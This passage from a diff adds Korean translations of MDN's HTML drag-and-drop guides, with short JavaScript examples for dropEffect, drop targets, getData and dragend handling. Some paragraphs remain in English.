+<p>드래그 작업 중에 <code>{{event("dragenter")}}</code> 또는 <code>{{event("dragover")}}</code> 이벤트에 대한 리스너는 어떤 작업이 허용되어 있는지 알기 위해 {{domxref("DataTransfer.effectAllowed","effectAllowed")}} 속성을 확인할 수 있습니다. 관련된 속성으로, {{domxref("DataTransfer.dropEffect","dropEffect")}}는 이들 이벤트 중 하나에서 수행되어야 하는 단일 작업을 지정하기 위해 설정되어야 할 속성입니다. {{domxref("DataTransfer.dropEffect","dropEffect")}}에 유효한 값은 <code>none</code>, <code>copy</code>, <code>move</code>, 또는 <code>link</code>입니다. 이 속성에 값의 조합은 허용되지 않습니다.</p>
+
+<p><code>{{event("dragenter")}}</code>나 <code>{{event("dragover")}}</code> 이벤트가 발생하면 사용자가 요청하는 효과로 {{domxref("DataTransfer.dropEffect","dropEffect")}} 속성이 초기화됩니다. 사용자는 한정자 키를 눌러 원하는 효과로 수정할 수 있습니다. 플랫폼에 따라 정확한 키가 달라질 수 있지만, 일반적으로 쉬프트(Shift)와 컨트롤(Control) 키가 복사하기, 이동하기, 연결하기 간 전환에 사용됩니다. 마우스 포인터를 원하는 작업을 나타내도록 변경할 수 있습니다; 예를 들어, 복사 작업에 대해서는 마우스 포인터 옆에 더하기 기호가 표시된 커서가 나타날 수 있습니다.</p>
+
+<p><code>{{event("dragenter")}}</code> 또는 <code>{{event("dragover")}}</code> 이벤트가 발생하는 동안 {{domxref("DataTransfer.dropEffect","dropEffect")}} 속성을 변경할 수 있는데, 예를 들자면, 특정 작업만 지원되는 특수한 드랍 대상(drop target)일 경우가 그렇습니다. {{domxref("DataTransfer.dropEffect","dropEffect")}} 속성을 수정하여 사용자 효과(user effect)를 오버라이드하여 특정한 드랍 작업이 발생하게 할 수 있습니다. 이 효과는 {{domxref("DataTransfer.effectAllowed","effectAllowed")}} 속성에 열거된 것 중의 하나 이어야 함에 유의하시기 바랍니다. 그렇지 않을 경우, 허용되는 대체 값으로 설정되게 됩니다.</p>
+
+<pre class="brush: js">event.dataTransfer.dropEffect = "copy";
+</pre>
+
+<p>이 예제에서는 복사가 수행될 효과입니다.</p>
+
+<p>이 경우에는 이벤트를 취소하지 않는 것이 좋지만 <code>none</code> 값을 사용하여 이 위치에서 드롭이 허용되지 않음을 나타낼 수 있습니다.</p>
+
+<p><code>{{event("drop")}}</code>와 <code>{{event("dragend")}}</code> 이벤트 내에서{{domxref("DataTransfer.dropEffect","dropEffect")}} 속성을 확인하면 최종적으로 어떤 효과가 선택되었는지를 알 수 있습니다. 선택된 효과가 "move"였다면, <code>{{event("dragend")}}</code> 이벤트 내에서 드래그 소스의 원본 데이터가 삭제되어야 합니다.</p>
+
+<h2 id="droptargets" name="droptargets">드랍 대상 지정하기</h2>
+
+<p><code>{{event("dragenter")}}</code>와 <code>{{event("dragover")}}</code> 이벤트에 대한 리스너는 유효한 드랍 대상인지, 즉 드래그된 아이템이 드랍될 수 있는 곳인지를 나타내는데 사용할 수 있습니다. 웹 페이지 또는 어플리케이션의 대부분의 영역은 데이터를 드랍할 수 있는 유효한 영역이 아닙니다. 따라서, 이들 이벤트에 대한 기본적인 처리는 드랍을 허용하지 않는 것입니다.</p>
+
+<p>드랍을 허용하길 원한다면, 해당 이벤트를 취소하는 기본 처리를 막아야 합니다. 속성 정의(attribute-defined) 이벤트 리스너로부터 <code>false</code>를 반환 받거나 해당 이벤트의 {{domxref("Event.preventDefault","preventDefault()")}} 메서드를 호출하면 됩니다. 후자는 별도의 스크립트에 정의된 함수에 더 적합합니다.</p>
+
+<pre class="brush: html">&lt;div ondragover="return false"&gt;
+&lt;div ondragover="event.preventDefault()"&gt;
+</pre>
+
+<p><code>{{event("dragenter")}}</code> and <code>{{event("dragover")}}</code> 두 이벤트 모두에서 {{domxref("Event.preventDefault","preventDefault()")}} 메서드를 호출하는 것은 그 위치에 드랍이 허용되는 것을 나타냅니다. 하지만, 일반적으로 특정한 상황에서만, 예를 들자면 링크가 드래그될 때만 {{domxref("Event.preventDefault","preventDefault()")}} 메서드를 호출하길 원할 것입니다. 이렇게 하기 위해서는 조건을 확인하여 조건이 충족될 때에만 해당 이벤트를 취소하는 함수를 호출합니다. 조건이 충족되지 않을 경우, 이벤트를 취소하지 않으면 사용자가 마우스 버튼을 놓더라도 드랍은 발생하지 않을 것입니다.</p>
+
+<p>data transfer의 드래그 데이터 형식에 따라 드랍을 허용하거나 기각하는 경우가 대부분일 것입니다(예를 들어, 이미지나 링크를 허용하거나 둘 다 허용하는 경우). 이렇게 하기 위해서는 이벤트의 {{domxref("DragEvent.dataTransfer","dataTransfer")}} 속성의 {{domxref("DataTransfer.types","types")}} 속성을 확인합니다. {{domxref("DataTransfer.types","types")}} 속성은 드래그가 시작될 때 추가된 형식 문자열의 배열을 반환하는데, 그 순서는 가장 세부적인 형식에서 가장 덜 세부적인 형식의 순서입니다.</p>
+
+<pre class="brush: js">function contains(list, value) {
+ for( var i = 0; i &lt; list.length; ++i ) {
+ if(list[i] === value) return true;
+ }
+ return false;
+}
+
+function doDragOver(event) {
+ var isLink = contains( event.dataTransfer.types, "text/uri-list");
+ if (isLink) {
+ event.preventDefault();
+  }
+}</pre>
+
+<p>이 예제에서 형식 목록 내에 <a href="/en-US/docs/DragDrop/Recommended_Drag_Types#link" title="text/uri-list">text/uri-list</a> 형식이 존재하는지 확인하기 위해 <code>contains</code> 메서드를사용합니다. 존재할 경우에는 드랍을 허용하기 위해 이벤트가 취소될 것입니다. 드래그 데이터가 링크를 포함하지 않았다면, 해당 이벤트는 취소되지 않을 것이고 그 위치에 대한 드랍이 발생하지 않을 것입니다.</p>
+
+<p>수행되어야 하는 작업 형식을 더 세부적으로 설정하길 원한다면, {{domxref("DataTransfer.effectAllowed","effectAllowed")}}나 {{domxref("DataTransfer.dropEffect","dropEffect")}} 속성을 각각 설정하거나 동시에 둘 다를 설정하고 싶을 것입니다. 두 속성을 변경하더라도 해당 이벤트를 취소하지 않으면 아무런 영향이 없을 것입니다.</p>
+
+<h3 id="Updates_to_DataTransfer.types">Updates to DataTransfer.types</h3>
+
+<p>최신 스펙에는 {{domxref("DataTransfer.types")}}이 {{domxref("DOMStringList")}}(이 속성은 Fiirefox 52 이상에서 지원됨)이 아닌 {{domxref("DOMString")}} 형식의 고정배열(fronzen array)을 반환하도록 명시하고 있음에 유의하시기 바랍니다.</p>
+
+<p>그 결과로, <a href="/en-US/docs/Web/API/Node/contains">contains</a> 메서드는 해당 속성에 대해 더 이상 동작하지 않으며; 특정 형식의 데이터가 제공되는지 확인하기 위해서는 다음 코드와 같이 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/includes">includes</a> 메서드를 사용해야 합니다:</p>
+
+<pre class="brush: js">if ([...event.dataTransfer.types].includes('text/html')) {
+ // Do something
+}</pre>
+
+<p>일부 특성 검출(feature detection)을 이용해 <code>types</code>에 대해 어떤 메서드가 지원되는지를 판별하고 적절하게 코드를 실행할 수 있습니다.</p>
+
+<h2 id="dropfeedback" name="dropfeedback">Drop Feedback</h2>
+
+<p>There are several ways in which you can indicate to the user that a drop is allowed at a certain location. The mouse pointer will update as necessary depending on the value of the {{domxref("DataTransfer.dropEffect","dropEffect")}} property. Although the exact appearance depends on the user's platform, typically a plus sign icon will appear for a 'copy' for example, and a 'cannot drop here' icon will appear when a drop is not allowed. This mouse pointer feedback is sufficient in many cases.</p>
+
+<p>However, you can also update the user interface with an insertion point or highlight as needed. For simple highlighting, you can use the <code>-moz-drag-over</code> CSS pseudoclass on a drop target.</p>
+
+<pre class="brush: css">.droparea:-moz-drag-over {
+ border: 1px solid black;
+}
+</pre>
+
+<p>In this example, the element with the class <code>droparea</code> will receive a 1 pixel black border while it is a valid drop target, that is, if the {{domxref("Event.preventDefault","preventDefault()")}} method was called during the <code>{{event("dragenter")}}</code> event. Note that you must cancel the <code>{{event("dragenter")}}</code> event for this pseudoclass to apply, as this state is not checked for the <code>{{event("dragover")}}</code> event.</p>
+
+<p>For more complex visual effects, you can also perform other operations during the <code>{{event("dragenter")}}</code> event, for example, by inserting an element at the location where the drop will occur. For example, this might be an insertion marker or an element that represents the dragged element in its new location. To do this, you could create an <a href="/en-US/docs/XUL/image" title="image">image</a> or <a href="/en-US/docs/XUL/separator" title="separator">separator</a> element, for example, and simply insert it into the document during the <code>{{event("dragenter")}}</code> event.</p>
+
+<p>The <code>{{event("dragover")}}</code> event will fire at the element the mouse is pointing at. Naturally, you may need to move the insertion marker around a <code>{{event("dragover")}}</code> event as well. You can use the event's {{domxref("MouseEvent.clientX","clientX")}} and {{domxref("MouseEvent.clientY","clientY")}} properties as with other mouse events to determine the location of the mouse pointer.</p>
+
+<p>Finally, the <code>{{event("dragleave")}}</code> event will fire at an element when the drag leaves the element. This is the time when you should remove any insertion markers or highlighting. You do not need to cancel this event. Any highlighting or other visual effects specified using the <code>-moz-drag-over</code> pseudoclass will be removed automatically. The <code>{{event("dragleave")}}</code> event will always fire, even if the drag is cancelled, so you can always ensure that any insertion point cleanup can be done during this event.</p>
+
+<h2 id="drop" name="drop">Performing a Drop</h2>
+
+<p>When the user releases the mouse, the drag and drop operation ends. If the mouse was released over an element that is a valid drop target, that is, one that cancelled the last <code>{{event("dragenter")}}</code> or <code>{{event("dragover")}}</code> event, and then the drop will be successful, and a <code>{{event("drop")}}</code> event will fire at the target. Otherwise, the drag operation is cancelled, and no <code>{{event("drop")}}</code> event is fired.</p>
+
+<p>During the <code>{{event("drop")}}</code> event, you should retrieve that data that was dropped from the event and insert it at the drop location. You can use the {{domxref("DataTransfer.dropEffect","dropEffect")}} property to determine which drag operation was desired.</p>
+
+<p>As with all drag-related events, the event's <code>{{domxref("DataTransfer","dataTransfer")}}</code> property will hold the data that is being dragged. The {{domxref("DataTransfer.getData","getData()")}} method may be used to retrieve the data again.</p>
+
+<pre class="brush: js">function onDrop(event) {
+ var data = event.dataTransfer.getData("text/plain");
+ event.target.textContent = data;
+ event.preventDefault();
+}
+</pre>
+
+<p>The {{domxref("DataTransfer.getData","getData()")}} method takes one argument, the type of data to retrieve. It will return the string value that was set when {{domxref("DataTransfer.setData","setData()")}} was called at the beginning of the drag operation. An empty string will be returned if data of that type does not exist. Naturally, though, you would likely know that the right type of data was available, as it was previously checked during a <code>{{event("dragover")}}</code> event.</p>
+
+<p>In the example here, once we have retrieved the data, we insert the string as the textual content of the target. This has the effect of inserting the dragged text where it was dropped, assuming that the drop target is an area of text such as a <code>p</code> or <code>div</code> element.</p>
+
+<p>In a web page, you should call the {{domxref("Event.preventDefault","preventDefault()")}} method of the event if you have accepted the drop so that the default browser handling does not handle the dropped data as well. For example, when a link is dragged to a web page, Firefox will open the link. By cancelling the event, this behavior will be prevented.</p>
+
+<p>You can retrieve other types of data as well. If the data is a link, it should have the type <a href="/en-US/docs/DragDrop/Recommended_Drag_Types#link" title="text/uri-list">text/uri-list</a>. You could then insert a link into the content.</p>
+
+<pre class="brush: js">function doDrop(event) {
+ var lines = event.dataTransfer.getData("text/uri-list").split("\n");
+ for (let line of lines) {
+ if (line.startsWith("#"))
+ continue;
+
+ let link = document.createElement("a");
+ link.href = line;
+ link.textContent = line;
+ event.target.appendChild(link);
+ }
+ event.preventDefault();
+}
+</pre>
+
+<p>This example inserts a link from the dragged data. As you might be able to guess from the name, the <a href="/en-US/docs/DragDrop/Recommended_Drag_Types#link" title="text/uri-list">text/uri-list</a> type actually may contain a list of URLs, each on a separate line. In this code, we use the <a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/split" title="split">split</a> to split the string into lines, then iterate over the list of lines, inserting each as a link into the document. Note also that we skip links starting with a number sign (#) as these are comments.</p>
+
+<p>For simple cases, you can use the special type <code>URL</code> just to retrieve the first valid URL in the list. For example:</p>
+
+<pre class="brush: js">var link = event.dataTransfer.getData("URL");
+</pre>
+
+<p>This eliminates the need to check for comments or iterate through lines yourself; however, it is limited to only the first URL in the list.</p>
+
+<p>The <code>URL</code> type is a special type used only as a shorthand, and it does not appear within the list of types specified in the {{domxref("DataTransfer.types","types")}} property.</p>
+
+<p>Sometimes you may support some different formats, and you want to retrieve the data that is most specific that is supported. In this example, three formats are supported by a drop target.</p>
+
+<p>The following example returns the data associated with the best-supported format:</p>
+
+<pre class="brush: js">function doDrop(event) {
+ var types = event.dataTransfer.types;
+ var supportedTypes = ["application/x-moz-file", "text/uri-list", "text/plain"];
+ types = supportedTypes.filter((value) =&gt; types.includes(value));
+ if (types.length)
+ var data = event.dataTransfer.getData(types[0]);
+ event.preventDefault();
+}
+</pre>
+
+<p>This method relies on JavaScript functionality available in Firefox 3. However, the code could be adjusted to support other platforms.</p>
+
+<h2 id="dragend" name="dragend">Finishing a Drag</h2>
+
+<p>Once the drag is complete, a <code>{{event("dragend")}}</code> event is fired at the source of the drag (the same element that received the <code>{{event("dragstart")}}</code> event). This event will fire if the drag was successful[1] or if it was cancelled. However, you can use the {{domxref("DataTransfer.dropEffect","dropEffect")}} property to determine what drop operation occurred.</p>
+
+<p>If the {{domxref("DataTransfer.dropEffect","dropEffect")}} property has the value <code>none</code> during a <code>{{event("dragend")}}</code>, then the drag was cancelled. Otherwise, the effect specifies which operation was performed. The source can use this information after a move operation to remove the dragged item from the old location. The {{domxref("DataTransfer.mozUserCancelled","mozUserCancelled")}} property will be set to true if the user cancelled the drag (by pressing Escape), and false if the drag was cancelled for other reasons such as an invalid drop target, or if it was successful.</p>
+
+<p>A drop can occur inside the same window or over another application. The <code>{{event("dragend")}}</code> event will always fire regardless. The event's {{domxref("MouseEvent.screenX","screenX")}} and {{domxref("MouseEvent.screenY","screenY")}} properties will be set to the screen coordinate where the drop occurred.</p>
+
+<p>After the <code>{{event("dragend")}}</code> event has finished propagating, the drag and drop operation is complete.</p>
+
+<p>[1] In Gecko, {{event("dragend")}} is not dispatched if the source node is moved or removed during the drag (e.g. on drop or {{event("dragover")}}).  <a class="external" href="https://bugzilla.mozilla.org/show_bug.cgi?id=460801" title="New D&amp;D API: dragend is not dispatched if the source node was moved or removed during the drag session">bug 460801</a></p>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li><a class="internal" href="/Web/API/HTML_Drag_and_Drop_API" title="HTML Drag and Drop API">HTML Drag and Drop API (Overview)</a></li>
+ <li><a class="internal" href="/Web/Guide/HTML/Dragging_and_Dropping_Multiple_Items" title="Dragging and Dropping Multiple Items">Dragging and Dropping Multiple Items</a></li>
+ <li><a class="internal" href="/Web/Guide/HTML/Recommended_Drag_Types" title="Recommended Drag Types">Recommended Drag Types</a></li>
+ <li><a href="https://html.spec.whatwg.org/multipage/interaction.html#dnd" title="Drag and Drop Standard">HTML5 Living Standard: Drag and Drop</a></li>
+</ul>
diff --git a/files/ko/web/api/html_드래그_앤_드롭_api/index.html b/files/ko/web/api/html_드래그_앤_드롭_api/index.html
new file mode 100644
index 0000000000..70a4295284
--- /dev/null
+++ b/files/ko/web/api/html_드래그_앤_드롭_api/index.html
@@ -0,0 +1,303 @@
+---
+title: HTML 드래그 앤 드롭 API
+slug: Web/API/HTML_드래그_앤_드롭_API
+tags:
+ - HTML5
+ - XUL
+ - 가이드
+ - 개요
+ - 고급
+ - 드래그 앤 드롭
+ - 이벤트
+translation_of: Web/API/HTML_Drag_and_Drop_API
+---
+<p>{{DefaultAPISidebar("HTML 드래그 앤 드롭 API")}}</p>
+
+<p><span class="seoSummary">HTML 드래그 앤 드롭 인터페이스는 파이어폭스와 다른 브라우저에서 어플리케이션이 드래그 앤 드롭 기능을 사용하게 해줍니다.</span> 이 기능을 이용해 사용자는 <em>draggable</em> 요소를 마우스로 선택해 <em>droppable</em> 요소로 드래그하고, 마우스 버튼에서 손을 뗌으로써 요소를 드롭할 수 있습니다. 드래그하는 동안 draggable 요소는 반투명한 채로 마우스 포인터를 따라다닙니다.</p>
+
+<p>웹 사이트나 확장 기능, XUL 어플리케이션을 위해, 다양한 요소를 draggable 요소로 만들 수 있고, 이벤트에 대한 draggable 요소의 반응들을 만들어내거나 droppable 요소를 자유자재로 만들 수 있습니다.</p>
+
+<p>이 문서는 HTML 드래그 앤 드롭에 대한 전반적인 개요입니다. 인터페이스에 대한 설명과 드래그 앤 드롭 기능을 어플리케이션에서 사용하기 위한 기본적인 절차, 인터페이스의 상호 운용성에 대한 요약 등이 이 문서에 담겨있습니다.</p>
+
+<h2 id="드래그_이벤트">드래그 이벤트</h2>
+
+<p>HTML 드래그 앤 드롭은 {{domxref("Event","DOM event model")}} 과 <em>{{domxref("DragEvent","drag events")}} </em>를<em> </em> {{domxref("MouseEvent","mouse events")}} 로부터 상속받습니다. 보통 드래그는 사용자가 draggable 요소를 마우스로 선택하고, 마우스 포인터를 droppable 요소로 가져가 마우스 버튼을 때는 것으로 이루어집니다. 드래그하는 도중에 많은 이벤트가 발생하고, 몇몇 이벤트는 여러번 발생하기도 합니다. ( {{event("drag")}}와 {{event("dragover")}}).</p>
+
+<p>모든 <a href="/en-US/docs/Web/API/DragEvent#Event_types">드래그 이벤트</a>는 <a href="/en-US/docs/Web/API/DragEvent#GlobalEventHandlers">글로벌 이벤트 핸들러</a>와 연결되어 있습니다. 각 드래그 이벤트와 드래그 전역 속성은 참조 문서를 가지고 있습니다. 아래 표는 각 이벤트에 대한 간략한 설명과 참조 문서로의 링크를 담고 있습니다.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">이벤트</th>
+ <th scope="col">이벤트 핸들러</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{domxref('Document/drag_이벤트', 'drag')}}</td>
+ <td>{{domxref('GlobalEventHandlers.ondrag','ondrag')}}</td>
+ <td>요소나 텍스트 블록을 드래그 할 때 발생한다.</td>
+ </tr>
+ <tr>
+ <td>{{event('dragend')}}</td>
+ <td>{{domxref('GlobalEventHandlers.ondragend','ondragend')}}</td>
+ <td>
+ <p>드래그를 끝냈을 때 발생한다. (마우스 버튼을 떼거나 ESC 키를 누를 때) (<a href="/en-US/docs/DragDrop/Drag_Operations#dragend">드래그 끝내기</a>를 보시오)</p>
+ </td>
+ </tr>
+ <tr>
+ <td>{{event('dragenter')}}</td>
+ <td>{{domxref('GlobalEventHandlers.ondragenter','ondragenter')}}</td>
+ <td>
+ <p>드래그한 요소나 텍스트 블록을 적합한 드롭 대상위에 올라갔을 때 발생한다. (<a href="/en-US/docs/DragDrop/Drag_Operations#droptargets">드롭 대상 지정하기</a>를 보시오.)</p>
+ </td>
+ </tr>
+ <tr>
+ <td>{{event('dragexit')}}</td>
+ <td>{{domxref('GlobalEventHandlers.ondragexit','ondragexit')}}</td>
+ <td>
+ <p>요소가 더 이상 드래그의 직접적인 대상이 아닐 때 발생한다.</p>
+ </td>
+ </tr>
+ <tr>
+ <td>{{event('dragleave')}}</td>
+ <td>{{domxref('GlobalEventHandlers.ondragleave','ondragleave')}}</td>
+ <td>
+ <p>드래그하는 요소나 텍스트 블록이 적합한 드롭 대상에서 벗어났을 때 발생한다.</p>
+ </td>
+ </tr>
+ <tr>
+ <td>{{event('dragover')}}</td>
+ <td>{{domxref('GlobalEventHandlers.ondragover','ondragover')}}</td>
+ <td>
+ <p>요소나 텍스트 블록을 적합한 드롭 대상 위로 지나갈 때 발생한다. (매 수백 밀리초마다 발생한다.)</p>
+ </td>
+ </tr>
+ <tr>
+ <td>{{event('dragstart')}}</td>
+ <td>{{domxref('GlobalEventHandlers.ondragstart','ondragstart')}}</td>
+ <td>
+ <p>사용자가 요소나 텍스트 블록을 드래그하기 시작했을 때 발생한다. (<a href="/en-US/docs/DragDrop/Drag_Operations#dragstart">드래그 시작하기</a>를 보시오.)</p>
+ </td>
+ </tr>
+ <tr>
+ <td>{{event('drop')}}</td>
+ <td>{{domxref('GlobalEventHandlers.ondrop','ondrop')}}</td>
+ <td>
+ <p>요소나 텍스트 블록을 적합한 드롭 대상에 드롭했을 때 발생한다. (<a href="/en-US/docs/DragDrop/Drag_Operations#dragstart">드롭하기</a>를 보시오.)</p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<p class="note"><code>참고: dragstart</code>와 <code>dragend</code> 이벤트는 파일을 브라우저로 드래그할 때는 발생하지 않습니다.</p>
+
+<h2 id="인터페이스">인터페이스</h2>
+
+<p>HTML 드래그와 드롭 인터페이스는 {{domxref("DragEvent")}}, {{domxref("DataTransfer")}}, {{domxref("DataTransferItem")}}, {{domxref("DataTransferItemList")}} 입니다.</p>
+
+<p>{{domxref("DataTransfer")}} 객체는 드래그 형태나 드래그 데이터 (하나 이상의 아이템), 각 드래그 아이템의 종류 (MIME 종류) 와 같은 드래그 이벤트의 상태를 담고 있습니다. {{domxref("DataTransfer")}} 는 또한 드래그 데이터에 아이템을 추가하거나 제거하는 메소드를 가지고 있습니다. The {{domxref("DragEvent")}} 와 {{domxref("DataTransfer")}} 인터페이스만 있으면 어플리케이션에 HTML 드래그 앤 드롭 기능을 추가할 수 있습니다. 참고로 파이어폭스는 {{domxref("DataTransfer")}}에 {{anch("Gecko specific interfaces","Gecko-specific extensions")}} 와 같은 파이어폭스에서만 동작하는 추가적인 확장을 제공합니다. </p>
+
+<p>{{domxref("DataTransfer")}}는 {{domxref("DataTransferItem")}}의 {{domxref("DataTransferItemList","목록")}} 인 {{domxref("DataTransfer.items","items")}} 프로퍼티를 가지고 있습니다. 각 {{domxref("DataTransferItem")}} 는 하나의 드래그 아이템을 나타내고 각 아이템은 데이터의 종류 (<code>string</code> 혹은 <code>file</code>) 를 나타내는 {{domxref("DataTransferItem.kind","kind")}} 프로퍼티와 데이터 아이템의 종류 (MIME 종류) 를 나타내는 {{domxref("DataTransferItem.type","type")}} 프로퍼티를 가집니다. {{domxref("DataTransferItem")}}은 드래그 아이템의 데이터를 가져오는 메소드를 제공합니다.</p>
+
+<p>{{domxref("DataTransferItemList")}} 객체는 {{domxref("DataTransferItem")}}의 리스트입니다. 이 리스트 객체는 세 개의 메소드 - 드래그 아이템을 리스트에 추가하거나, 리스트에서 아이템을 삭제하거나, 모든 드래그 아이템을 리스트에서 삭제하는 메소드 - 를 가집니다.</p>
+
+<p>A key difference between the {{domxref("DataTransfer")}} and {{domxref("DataTransferItem")}} interfaces is that the former uses the synchronous {{domxref("DataTransfer.getData","getData()")}} method to access a drag item's data, whereas the later uses the asynchronous {{domxref("DataTransferItem.getAsString","getAsString()")}} method to access a drag item's data.</p>
+
+<p>{{domxref("DataTransfer")}}와 {{domxref("DataTransferItem")}}의 가장 중요한 차이점은 전자는 드래그 아이템의 데이터에 접근하기 위해 동기 메소드인 {{domxref("DataTransfer.getData","getData()")}}를 사용하는데 반해, 후자는 비동기 메소드인 {{domxref("DataTransferItem.getAsString","getAsString()")}}를 사용한다는 점입니다.</p>
+
+<p class="note">참고: {{domxref("DragEvent")}} and {{domxref("DataTransfer")}}는 여러 데스크탑 브라우저에서 폭넓게 지원하고 있습니다. 하지만 {{domxref("DataTransferItem")}}와 {{domxref("DataTransferItemList")}}는 제한적으로 사용 가능합니다. 드래그 앤 드롭의 상호 운용성에 대한 더 많은 정보를 찾아보기 위해 {{anch("Interoperability")}}를 보십시오.</p>
+
+<h3 id="Gecko_한정_인터페이스">Gecko 한정 인터페이스</h3>
+
+<p>모질라와 파이어폭스는 표준 드래그 앤 드롭 모델에서 제공하지 않는 몇가지 기능들을 추가로 제공합니다. 여러 개의 아이템을 동시에 드래그하거나 파일과 같이 문자열이 아닌 데이터를 드래그 하기 위한 여러 편리한 기능을 제공합니다. 더 많은 정보를 찾아보기 위해, <a href="/en-US/docs/DragDrop/Dragging_and_Dropping_Multiple_Items" title="Dragging and Dropping Multiple Items">Dragging and Dropping Multiple Items</a>을 보십시오. 덧붙여, 모든 Gecko 한정 프로퍼티나 Gecko 한정 메소드를 찾아보기 위해 {{domxref("DataTransfer")}} 참조 페이지도 보시기 바랍니다.</p>
+
+<h2 id="기본">기본</h2>
+
+<p>이번 절은 드래그 앤 드롭 기능을 추가하기 위한 기본적인 방법을 요약하고 있습니다. 각 절은 단계를 설명하고, 짧은 코드 예제와 추가적인 정보를 위한 링크를 포함합니다.</p>
+
+<h3 id="어떤_것이_draggable인지_확인하기">어떤 것이 <em>draggable</em>인지 확인하기</h3>
+
+<p>하나의 요소를 draggable로 만들기 위해서는 {{htmlattrxref("draggable")}}와 {{domxref("GlobalEventHandlers.ondragstart","ondragstart")}} 전역 이벤트 핸들러를 아래 예제 코드와 같이 추가해야합니다.</p>
+
+<pre class="brush: js notranslate">function dragstart_handler(ev) {
+ console.log("dragStart");
+ // 데이터 전달 객체에 대상 요소의 id를 추가합니다.
+ ev.dataTransfer.setData("text/plain", ev.target.id);
+}
+
+</pre>
+
+<pre class="notranslate">&lt;script&gt;
+ function dragstart_handler(ev) {
+ // 데이터 전달 객체에 대상 요소의 id를 추가합니다.
+ ev.dataTransfer.setData("text/plain", ev.target.id);
+ }
+
+ window.addEventListener('DOMContentLoaded', () =&gt; {
+  // id를 통해 element를 가져옵니다.
+ const element = document.getElementById("p1");
+  // 'dragstart' 이벤트 리스터를 추가합니다.
+ element.addEventListener("dragstart", dragstart_handler);
+ });
+&lt;/script&gt;
+
+&lt;p id="p1" draggable="true"&gt;This element is draggable.&lt;/p&gt;</pre>
+
+<p>추가 정보를 위해 <a href="/Web/HTML/Global_attributes/draggable" title="draggable global attribute">draggable attribute reference</a>와 <a href="/Web/Guide/HTML/Drag_operations#draggableattribute">Drag operations guide</a>를 참고하세요.</p>
+
+<h3 id="드래그_데이터_정의하기">드래그 데이터 정의하기</h3>
+
+<p>드래그할 때 자유롭게 데이터 아이템을 포함할 수 있습니다. 각 데이터 아이템은 특정 <code>type</code>의 {{domxref("DOMString","문자열")}}이며, 보통 <code>text/html</code>와 같은 MIME type입니다.</p>
+
+<p>각 {{domxref("DragEvent","drag event")}} 은 이벤트 데이터를 가지고 있는 {{domxref("DragEvent.dataTransfer","dataTransfer")}} 를 가집니다. 이 프로퍼티는 ({{domxref("DataTransfer")}} 객체) 드래그 데이터를 관리하는 메소드를 가집니다. {{domxref("DataTransfer.setData","setData()")}} 는 아래 코드 예제와 같이 아이템을 드래그 데이터에 추가할 때 사용합니다.</p>
+
+<pre class="brush: js notranslate">function dragstart_handler(ev) {
+ // 드래그 데이터를 추가합니다.
+ ev.dataTransfer.setData("text/plain", ev.target.id);
+ ev.dataTransfer.setData("text/html", "&lt;p&gt;Example paragraph&lt;/p&gt;");
+ ev.dataTransfer.setData("text/uri-list", "http://developer.mozilla.org");
+}
+</pre>
+
+<p>드래그 앤 드롭에 사용할 수 있는 공통 데이터 타입 (텍스트, HTML, 링크, 파일 등) 의 목록을 보려면, <a href="/en-US/docs/DragDrop/Recommended_Drag_Types" title="Recommended Drag Types">Recommended Drag Types</a>를 참고하십시오. 드래그 데이터에 대한 추가적인 정보를 위해서는 <a href="/en-US/docs/Web/Guide/HTML/Drag_operations#dragdata" title="Drag Data">Drag Data</a>를 참고하십시오.</p>
+
+<h3 id="드래그_이미지_정의하기">드래그 이미지 정의하기</h3>
+
+<p>브라우저는 드래그 하는 동안 마우스 포인터 옆에 나타나는 이미지를 기본적으로 제공합니다. 어플리케이션에서 다른 이미지를 사용하기 원한다면 아래 예제와 같이 {{domxref("DataTransfer.setDragImage","setDragImage()")}}를 사용할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">function dragstart_handler(ev) {
+  // 드래그 이미지로 사용할 이미지를 만듭니다.
+ // 참고: "example.gif"를 존재하는 이미지로 바꾸지 않으면 기본 드래그 이미지를 사용합니다.
+ var img = new Image();
+ img.src = 'example.gif';
+ ev.dataTransfer.setDragImage(img, 10, 10);
+}
+</pre>
+
+<p>드래그 이미지에 대해 더 알아보려면, <a href="/en-US/docs/DragDrop/Drag_Operations#dragfeedback" title="Setting the Drag Feedback Image">Setting the Drag Feedback Image</a>를 참고하세요.</p>
+
+<h3 id="드래그_효과_정의하기">드래그 효과 정의하기</h3>
+
+<p>{{domxref("DataTransfer.dropEffect","dropEffect")}} 프로퍼티는 드래그 앤 드롭 도중에 사용자에게 피드백 (보통 시각적인) 을 제공하기 위해 사용합니다. 브라우저가 드래그 하는 동안 어떤 마우스 포인터를 보여줄 지 결정합니다. 사용자가 마우스 포인터를 대상 드롭 요소에 올려놓으면, 브라우저는 드래그 효과에 적합한 마우스 포인터를 보여줄 것입니다.</p>
+
+<p>세 개의 효과가 정의되어 있습니다:</p>
+
+<p><code>copy</code>는 현재 위치에서 드롭하는 위치로 데이터가 복사될 것을 암시합니다.</p>
+
+<p><code>move</code>는 현재 위치에서 드롭하는 위치로 데이터가 이동할 것을 암시합니다.</p>
+
+<p><code>link</code>는 드래그하는 위치와 드롭하는 위치 간의 일종의 관계나 연결이 맺어진 다는 것을 암시합니다.</p>
+
+<p>특정 위치에서는 특정 효과가 허용된다는 것을 알려주기 위해 드래그 하는 도중에 효과가 변할 수 있습니다. 허용되는 경우에만 해당 위치에 드롭할 수 있습니다.</p>
+
+<p>다음 예제는 어떻게 이 프로퍼티를 사용하는지 보여줍니다.</p>
+
+<pre class="brush: js notranslate">function dragstart_handler(ev) {
+ // 드래그 효과를 copy로 지정합니다.
+ ev.dataTransfer.dropEffect = "copy";
+}
+</pre>
+
+<p>더 자세한 설명은 <a href="/en-US/docs/Web/Guide/HTML/Drag_operations#drageffects" title="Drag Effects">Drag Effects</a>를 참고하세요.</p>
+
+<h3 id="드롭_지역_정의하기">드롭 지역 정의하기</h3>
+
